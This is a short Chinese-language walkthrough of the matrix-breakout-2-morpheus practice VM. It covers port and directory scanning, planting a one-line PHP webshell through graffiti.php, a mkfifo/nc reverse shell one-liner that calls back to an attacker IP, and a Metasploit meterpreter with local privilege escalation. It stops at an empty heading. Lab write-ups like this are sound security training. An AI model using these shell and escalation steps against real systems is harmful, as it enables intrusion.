matrix-breakout-2-morpheus靶机通关

1.目标探测

目标开启了22、80和81端口，其中81端口需要登陆

2.目录探测

使用gobuster探测，字典很重要哈，我之前选了几个简单的，没有爆出来

发现了graffiti.php这个涂鸦界面，可以写一句话代码

写入成功后，用bp拦截，把txt文件改成php，这样就可以执行一句话木马了。

3.建立shell

采用蚁剑连接后，可以建立shell，可以看到第一个flag，但只有www-data权限

当然也可以用nc建立一个反弹shell，nc -e被禁用了，只能采取这样的方式：

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.204 1234 > /tmp/f

4.建立meterpretershell

生成木马

利用第3步建立的shell上传该木马，并执行。

msf监听

5.使用提权模块

搜索local_exploit

输入meterpreter会话的session id,

发现可利用的提权漏洞，直接选用这个模块，提权

6.溯源情况